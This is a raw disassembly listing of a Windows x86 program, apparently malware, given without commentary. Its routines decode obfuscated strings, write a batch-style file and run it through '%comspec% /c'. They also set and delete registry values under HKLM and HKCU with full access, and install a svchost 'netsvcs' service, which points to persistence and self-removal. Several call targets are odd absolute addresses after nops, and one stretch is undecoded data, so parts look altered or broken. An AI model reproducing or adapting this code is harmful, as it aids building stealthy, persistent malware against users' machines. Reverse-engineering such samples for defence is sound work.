push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 4
push 10h
push 14h
push 6
lea edx, [esp+30h]
push 14h
push edx
call sub_4019B5
add esp, 2Ch
mov ecx, eax
mov byte ptr [esp+1A4h], 4
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 14h
push 13h
push ebx
push 0Ch
push 2
push 13h
lea eax, [esp+38h]
push 0Dh
push eax
call sub_4019B5
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 5
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 46h
push 47h
push 13h
push 9
push 0Eh
push 5
lea ecx, [esp+38h]
push 10h
push ecx
call sub_4019B5
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 6
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 8
push 3
push 14h
push ebx
push 10h
push 13h
lea edx, [esp+38h]
push 0Dh
push edx
call sub_4019B5
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 7
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
db 83h
dd 4C8D04C4h, 9C880C24h, 1A424h, 39B4E800h, 448DFFFFh
dd 6A3C24h, 244C8D50h, 3F85E82Ch, 0C085FFFFh, 116850Fh
dd 8B550000h, 3F52E8CEh, 6A50FFFFh, 244C8D5Ch, 3F46E848h
dd 8D50FFFFh, 0A8248Ch, 28680000h, 5100443Bh, 0C90BE890h
dd 3D8B001Dh, 50F8A4h, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
dd 8B30244Ch, 3DAFE8E8h, 358BFFFFh, 50F90Ch, 85D6FF50h
dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h
dd 4329E5E8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3D79h
dd 85D6FF50h, 0A0D074C0h, 4477EBh, 74C0845Dh, 0CC358B39h
dd 680050FAh, 104h, 9C248C8Dh, 68000000h, 443B20h, 83D6FF51h
dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3EA0h, 9C24948Dh
dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
dd 447C24h, 0E8900000h, 23F266Ch, 874C085h, 0E890006Ah
dd 7782C4DEh, 24244C8Dh, 0A42484C6h, 1, 0FF3875E8h, 244C8DFFh
dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3861E8h, 248C8BFFh
dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
add esp, 19Ch
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40DB10 proc near ; CODE XREF: sub_401195j
mov al, byte_447191
test al, al
jz short loc_40DB24
push offset word_447192
nop
call near ptr 27F07C4h
loc_40DB24: ; CODE XREF: sub_40DB10+7j
mov al, 1
retn
sub_40DB10 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40DB40 proc near ; CODE XREF: sub_401E5Bj
var_6D0 = dword ptr -6D0h
var_6CC = dword ptr -6CCh
var_6C8 = dword ptr -6C8h
var_6C4 = dword ptr -6C4h
var_6C0 = dword ptr -6C0h
var_6BC = dword ptr -6BCh
var_6B8 = dword ptr -6B8h
var_6B4 = dword ptr -6B4h
var_6B0 = byte ptr -6B0h
var_6AC = byte ptr -6ACh
var_694 = byte ptr -694h
var_67C = byte ptr -67Ch
var_664 = byte ptr -664h
var_64C = byte ptr -64Ch
var_634 = byte ptr -634h
var_61C = byte ptr -61Ch
var_604 = byte ptr -604h
var_5EC = byte ptr -5ECh
var_5D4 = byte ptr -5D4h
var_5BC = byte ptr -5BCh
var_5A4 = byte ptr -5A4h
var_58C = byte ptr -58Ch
var_574 = byte ptr -574h
var_564 = dword ptr -564h
var_534 = word ptr -534h
var_520 = byte ptr -520h
var_41C = byte ptr -41Ch
var_318 = byte ptr -318h
var_214 = byte ptr -214h
var_110 = byte ptr -110h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40DB40
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 6C4h
push esi
lea eax, [esp+6D4h+var_41C]
push 104h
push eax
push 0
nop
call near ptr 2891D7Dh
push eax
call near ptr 2891242h
nop
lea ecx, [esp+6D4h+var_318]
push ecx
push 104h
nop
call near ptr 27D0000h
push 0
push 14h
push 1
push 2
push 4Fh
push 0Fh
push 12h
push 6
lea edx, [esp+6F4h+var_5EC]
push 1
push edx
call sub_4019B5
add esp, 28h
mov ecx, eax
mov [esp+6D4h+var_4], 0
call sub_4017E4
push eax
lea eax, [esp+6D8h+var_318]
push eax
lea ecx, [esp+6DCh+var_520]
push offset dword_443684
push ecx
nop
call sub_5EA1BD
add esp, 10h
lea ecx, [esp+6D4h+var_5EC]
mov [esp+6D4h+var_4], 0FFFFFFFFh
call sub_401226
push 0
push 0
push 2
push 0
push 0
lea edx, [esp+6E8h+var_520]
push 40000000h
push edx
nop
call near ptr 2870000h
mov esi, eax
test esi, esi
jbe loc_40E0A1
push ebx
push ebp
push edi
lea ecx, [esp+6E0h+var_6AC]
call sub_401424
push 0
push 14h
push 1
push 2
lea eax, [esp+6F0h+var_604]
push 4Fh
push eax
mov [esp+6F8h+var_4], 1
call sub_4019B5
add esp, 18h
mov edi, eax
push 0
push 39h
push 10h
push 0Dh
push 5
push 14h
push 39h
push 4Eh
push 0Ch
push 5
lea ecx, [esp+708h+var_634]
push 4
push ecx
mov byte ptr [esp+710h+var_4], 2
call sub_4019B5
add esp, 30h
mov ebp, eax
push 0
push 14h
push 1
push 2
lea edx, [esp+6F0h+var_664]
push 4Fh
push edx
mov byte ptr [esp+6F8h+var_4], 3
call sub_4019B5
add esp, 18h
mov ebx, eax
push 0
push 39h
push 10h
push 0Dh
push 5
push 14h
push 39h
push 4Eh
push 20h
push 52h
push 4Eh
push 0Ch
push 5
lea eax, [esp+714h+var_67C]
push 4
push eax
mov byte ptr [esp+71Ch+var_4], 4
call sub_4019B5
add esp, 3Ch
mov [esp+6E0h+var_6B4], eax
push 0
push 5
push 0Eh
push 0Fh
push 4
lea ecx, [esp+6F4h+var_61C]
push 53h
push ecx
mov byte ptr [esp+6FCh+var_4], 5
call sub_4019B5
add esp, 1Ch
mov [esp+6E0h+var_6C8], eax
push 0
push 14h
push 12h
push 1
push 14h
push 13h
push 4Eh
push 0Fh
push 14h
push 0Fh
lea edx, [esp+708h+var_5D4]
push 7
push edx
mov byte ptr [esp+710h+var_4], 6
call sub_4019B5
add esp, 30h
mov [esp+6E0h+var_6B8], eax
push 0
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 0Ch
push 5
lea eax, [esp+708h+var_5A4]
push 4
push eax
mov byte ptr [esp+710h+var_4], 7
call sub_4019B5
add esp, 30h
mov [esp+6E0h+var_6C0], eax
push 0
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 20h
push 52h
push 4Eh
push 0Ch
push 5
lea ecx, [esp+714h+var_58C]
push 4
push ecx
mov byte ptr [esp+71Ch+var_4], 8
call sub_4019B5
add esp, 3Ch
mov [esp+6E0h+var_6D0], eax
push 0
push 5
push 0Eh
push 0Fh
push 4
push 4Eh
push 0Fh
push 14h
push 0Fh
push 7
push 4Eh
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 14h
push 13h
push 9
mov byte ptr [esp+734h+var_4], 9
push 18h
push 5
push 4Eh
push 14h
push 0Fh
push 0Eh
push 4Eh
push 6
lea edx, [esp+754h+var_694]
push 9
push edx
call sub_4019B5
add esp, 7Ch
mov [esp+6E0h+var_6CC], eax
push 0
push 14h
push 12h
push 1
push 14h
push 13h
lea eax, [esp+6F8h+var_5BC]
push 53h
push eax
mov byte ptr [esp+700h+var_4], 0Ah
call sub_4019B5
add esp, 20h
mov [esp+6E0h+var_6C4], eax
push 0
push 6
push 6
push 0Fh
push 4Eh
push 0Fh
push 8
push 3
push 5
lea ecx, [esp+704h+var_64C]
push 56h
push ecx
mov byte ptr [esp+70Ch+var_4], 0Bh
call sub_4019B5
add esp, 2Ch
mov [esp+6E0h+var_6BC], eax
mov ecx, edi
mov byte ptr [esp+6E0h+var_4], 0Ch
call sub_4017E4
push eax
mov ecx, ebp
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
mov ecx, [esp+6E8h+var_6B4]
push eax
call sub_4017E4
mov ecx, [esp+6ECh+var_6C8]
push eax
call sub_4017E4
mov ecx, [esp+6F0h+var_6B8]
push eax
call sub_4017E4
mov ecx, [esp+6F4h+var_6C0]
push eax
call sub_4017E4
mov ecx, [esp+6F8h+var_6D0]
push eax
call sub_4017E4
mov ecx, [esp+6FCh+var_6CC]
push eax
call sub_4017E4
mov ecx, [esp+700h+var_6C4]
push eax
call sub_4017E4
mov ecx, [esp+704h+var_6BC]
push eax
call sub_4017E4
push eax
push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
lea edx, [esp+710h+var_6AC]
push edx
call sub_40102D
add esp, 34h
lea ecx, [esp+6E0h+var_64C]
mov byte ptr [esp+6E0h+var_4], 0Bh
call sub_401226
lea ecx, [esp+6E0h+var_5BC]
mov byte ptr [esp+6E0h+var_4], 0Ah
call sub_401226
lea ecx, [esp+6E0h+var_694]
mov byte ptr [esp+6E0h+var_4], 9
call sub_401226
lea ecx, [esp+6E0h+var_58C]
mov byte ptr [esp+6E0h+var_4], 8
call sub_401226
lea ecx, [esp+6E0h+var_5A4]
mov byte ptr [esp+6E0h+var_4], 7
call sub_401226
lea ecx, [esp+6E0h+var_5D4]
mov byte ptr [esp+6E0h+var_4], 6
call sub_401226
lea ecx, [esp+6E0h+var_61C]
mov byte ptr [esp+6E0h+var_4], 5
call sub_401226
lea ecx, [esp+6E0h+var_67C]
mov byte ptr [esp+6E0h+var_4], 4
call sub_401226
lea ecx, [esp+6E0h+var_664]
mov byte ptr [esp+6E0h+var_4], 3
call sub_401226
lea ecx, [esp+6E0h+var_634]
mov byte ptr [esp+6E0h+var_4], 2
call sub_401226
lea ecx, [esp+6E0h+var_604]
mov byte ptr [esp+6E0h+var_4], 1
call sub_401226
lea eax, [esp+6E0h+var_6B0]
push 0
push eax
push 69h
lea ecx, [esp+6ECh+var_6AC]
call sub_4017E4
push eax
push esi
call near ptr 27E0000h
nop
push esi
nop
call near ptr 2850000h
mov ecx, 11h
xor eax, eax
lea edi, [esp+6E0h+var_564]
push 104h
rep stosd
lea ecx, [esp+6E4h+var_41C]
mov [esp+6E4h+var_564], 44h
push ecx
push eax
mov [esp+6ECh+var_534], ax
nop
call near ptr 2891D7Dh
push eax
nop
call near ptr 2891242h
lea edx, [esp+6E0h+var_41C]
lea eax, [esp+6E0h+var_520]
push edx
push eax
lea ecx, [esp+6E8h+var_214]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push ecx
call sub_5EA1BD
nop
add esp, 10h
lea edx, [esp+6E0h+var_110]
lea eax, [esp+6E0h+var_214]
push 104h
push edx
push eax
nop
call near ptr 2810000h
lea ecx, [esp+6E0h+var_574]
lea edx, [esp+6E0h+var_564]
push ecx
push edx
push 0
push 0
push 28h
push 1
push 0
lea eax, [esp+6FCh+var_110]
push 0
push eax
push 0
call near ptr 2800000h
nop
lea ecx, [esp+6E0h+var_6AC]
mov [esp+6E0h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop ebp
pop ebx
mov al, 1
pop esi
mov ecx, [esp+6D0h+var_C]
mov large fs:0, ecx
add esp, 6D0h
retn
; ---------------------------------------------------------------------------
loc_40E0A1: ; CODE XREF: sub_40DB40+D6j
mov ecx, [esp+6D4h+var_C]
mov al, 1
pop esi
mov large fs:0, ecx
add esp, 6D0h
retn
sub_40DB40 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40E220 proc near ; CODE XREF: sub_401726j
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_40E220
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 64h
push ebx
push ebp
push esi
push edi
lea ecx, [esp+80h+var_54]
call sub_401424
lea ecx, [esp+80h+var_6C]
mov [esp+80h+var_4], 0
call sub_401424
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 1
call sub_401424
push 0
push 5
push 3
push 0Eh
push 29h
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea eax, [esp+144h+var_24]
mov bl, 2
push 2Dh
push eax
mov byte ptr [esp+14Ch+var_4], bl
call sub_4019B5
add esp, 0CCh
push eax
lea ecx, [esp+84h+var_6C]
mov byte ptr [esp+84h+var_4], 3
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 13h
push 5
push 3
push 9
push 16h
push 12h
push 5
push 2Dh
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+154h+var_24]
push 2Dh
push ecx
call sub_4019B5
add esp, 0DCh
push eax
lea ecx, [esp+84h+var_3C]
mov byte ptr [esp+84h+var_4], 4
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea edx, [esp+134h+var_24]
push 2Dh
push edx
call sub_4019B5
add esp, 0BCh
push eax
lea ecx, [esp+84h+var_54]
mov byte ptr [esp+84h+var_4], 5
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017E4
mov ebp, dword_50F754
push eax
push 80000002h
call ebp ; dword_50F754
mov esi, [esp+80h+arg_4]
mov ecx, esi
call sub_401681
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_401681
mov ebx, [esp+84h+arg_0]
push eax
push 1
push 0
mov ecx, ebx
call sub_401681
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2950000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2910000h
push 0
lea eax, [esp+84h+var_70]
lea ecx, [esp+84h+var_6C]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
call sub_4017E4
push eax
push 80000002h
call ebp ; dword_50F754
mov ecx, esi
call sub_401681
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_401681
push eax
push 1
push 0
mov ecx, ebx
call sub_401681
mov ecx, [esp+90h+var_70]
push eax
push ecx
call near ptr 2950000h
nop
mov edx, [esp+80h+var_70]
push edx
call near ptr 2910000h
nop
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017E4
push eax
push 80000001h
call ebp ; dword_50F754
mov ecx, esi
call sub_401681
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_401681
push eax
push 1
push 0
mov ecx, ebx
call sub_401681
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2950000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2910000h
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017E4
push eax
push 80000001h
call ebp ; dword_50F754
mov ecx, esi
call sub_401681
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_401681
push eax
push 1
push 0
mov ecx, ebx
call sub_401681
mov ecx, [esp+90h+var_70]
push eax
push ecx
call near ptr 2950000h
nop
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2910000h
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_3C]
call sub_4017E4
push eax
push 80000002h
call ebp ; dword_50F754
mov ecx, esi
call sub_401681
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_401681
push eax
push 1
push 0
mov ecx, ebx
call sub_401681
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2950000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2910000h
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 1
call sub_401226
lea ecx, [esp+80h+var_6C]
mov byte ptr [esp+80h+var_4], 0
call sub_401226
lea ecx, [esp+80h+var_54]
mov [esp+80h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+80h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 70h
retn 8
sub_40E220 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40E7A0 proc near ; CODE XREF: sub_401447j
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_40E7A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 64h
push ebx
push ebp
push esi
push edi
lea ecx, [esp+80h+var_6C]
call sub_401424
lea ecx, [esp+80h+var_3C]
mov [esp+80h+var_4], 0
call sub_401424
lea ecx, [esp+80h+var_54]
mov byte ptr [esp+80h+var_4], 1
call sub_401424
push 0
push 5
push 3
push 0Eh
push 29h
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea eax, [esp+144h+var_24]
mov bl, 2
push 2Dh
push eax
mov byte ptr [esp+14Ch+var_4], bl
call sub_4019B5
add esp, 0CCh
push eax
lea ecx, [esp+84h+var_3C]
mov byte ptr [esp+84h+var_4], 3
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 13h
push 5
push 3
push 9
push 16h
push 12h
push 5
push 2Dh
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+154h+var_24]
push 2Dh
push ecx
call sub_4019B5
add esp, 0DCh
push eax
lea ecx, [esp+84h+var_54]
mov byte ptr [esp+84h+var_4], 4
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea edx, [esp+134h+var_24]
push 2Dh
push edx
call sub_4019B5
add esp, 0BCh
push eax
lea ecx, [esp+84h+var_6C]
mov byte ptr [esp+84h+var_4], 5
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017E4
mov esi, dword_50F754
push eax
push 80000002h
call esi ; dword_50F754
mov edi, [esp+80h+arg_0]
mov ecx, edi
call sub_401681
mov ecx, [esp+80h+var_70]
mov ebp, dword_50F764
push eax
push ecx
call ebp ; dword_50F764
mov edx, [esp+80h+var_70]
mov ebx, dword_50F738
push edx
call ebx ; dword_50F738
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017E4
push eax
push 80000002h
call esi ; dword_50F754
mov ecx, edi
call sub_401681
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp ; dword_50F764
mov edx, [esp+80h+var_70]
push edx
call ebx ; dword_50F738
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017E4
push eax
push 80000002h
call esi ; dword_50F754
mov ecx, edi
call sub_401681
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp ; dword_50F764
mov edx, [esp+80h+var_70]
push edx
call ebx ; dword_50F738
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017E4
push eax
push 80000001h
call esi ; dword_50F754
mov ecx, edi
call sub_401681
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp ; dword_50F764
mov edx, [esp+80h+var_70]
push edx
call ebx ; dword_50F738
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_3C]
call sub_4017E4
push eax
push 80000001h
call esi ; dword_50F754
mov ecx, edi
call sub_401681
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp ; dword_50F764
mov edx, [esp+80h+var_70]
push edx
call ebx ; dword_50F738
lea ecx, [esp+80h+var_54]
mov byte ptr [esp+80h+var_4], 1
call sub_401226
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 0
call sub_401226
mov [esp+80h+var_4], 0FFFFFFFFh
lea ecx, [esp+80h+var_6C]
call sub_401226
mov ecx, [esp+80h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 70h
retn 4
sub_40E7A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0F0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40EC30 proc near ; CODE XREF: sub_401497j
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_40EC30
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
push ebx
push esi
mov esi, ecx
lea ecx, [esp+5Ch+var_24]
call sub_401424
push 104h
push 104h
lea ecx, [esp+64h+var_24]
mov [esp+64h+var_4], 0
call sub_401C5D
push eax
call near ptr 27F0993h
nop
lea ecx, [esp+5Ch+var_3C]
call sub_401424
mov ecx, [esp+5Ch+arg_4]
mov byte ptr [esp+5Ch+var_4], 1
call sub_4017E4
push eax
lea ecx, [esp+60h+var_24]
call sub_4017E4
push eax
lea eax, [esp+64h+var_3C]
push offset dword_443684
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+5Ch+var_54]
call sub_401424
lea ecx, [esp+5Ch+var_54]
push offset aNetsvcs ; "-netsvcs"
push ecx
mov byte ptr [esp+64h+var_4], 2
call sub_40102D
mov ecx, [esp+64h+arg_0]
add esp, 8
lea edx, [esp+5Ch+var_54]
lea eax, [esp+5Ch+var_3C]
push edx
push eax
push ecx
mov ecx, esi
call sub_402153
lea ecx, [esp+5Ch+var_54]
mov bl, al
mov byte ptr [esp+5Ch+var_4], 1
call sub_401226
lea ecx, [esp+5Ch+var_3C]
mov byte ptr [esp+5Ch+var_4], 0
call sub_401226
lea ecx, [esp+5Ch+var_24]
mov [esp+5Ch+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+5Ch+var_C]
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
add esp, 54h
retn 8
sub_40EC30 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ED70 proc near ; CODE XREF: sub_402153j
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40ED70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
push ebx
push ebp
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
mov [esp+5Ch+var_44], ecx
push 0
call near ptr 29108F0h
nop
mov edi, eax
test edi, edi
jnz short loc_40EDAF
xor al, al
jmp loc_40EF00
; ---------------------------------------------------------------------------
loc_40EDAF: ; CODE XREF: sub_40ED70+36j
lea ecx, [esp+54h+var_24]
call sub_401424
mov ecx, [esp+54h+arg_8]
mov [esp+54h+var_4], 0
call sub_4017E4
mov ebx, [esp+54h+arg_4]
push eax
mov ecx, ebx
call sub_4017E4
push eax
lea eax, [esp+5Ch+var_24]
push offset aSS_4 ; "\"%s\" %s"
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+54h+var_24]
push 0
push 0
push 0
push 0
push 0
call sub_4017E4
push eax
push 1
push 2
push 20h
push 0F01FFh
mov ecx, offset dword_447864
call sub_4017E4
mov ebp, [esp+7Ch+arg_0]
push eax
mov ecx, ebp
call sub_4017E4
push eax
push edi
nop
call near ptr 2910C76h
mov esi, eax
xor ecx, ecx
cmp esi, ecx
jnz short loc_40EE95
nop
call near ptr 27C07D9h
cmp eax, 431h
jnz short loc_40EE79
mov ecx, [esp+54h+var_44]
push ebp
call sub_401942
mov esi, dword_50F74C
push 0
call esi ; dword_50F74C
push edi
call esi ; dword_50F74C
mov ecx, [esp+54h+var_44]
push ebx
push ebp
call sub_401497
lea ecx, [esp+54h+var_24]
mov bl, al
mov [esp+54h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_40EF00
; ---------------------------------------------------------------------------
loc_40EE79: ; CODE XREF: sub_40ED70+CBj
push edi
call near ptr 2920000h
nop
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp short loc_40EF00
; ---------------------------------------------------------------------------
loc_40EE95: ; CODE XREF: sub_40ED70+BEj
lea edx, [esp+54h+var_38]
mov [esp+54h+var_34], ecx
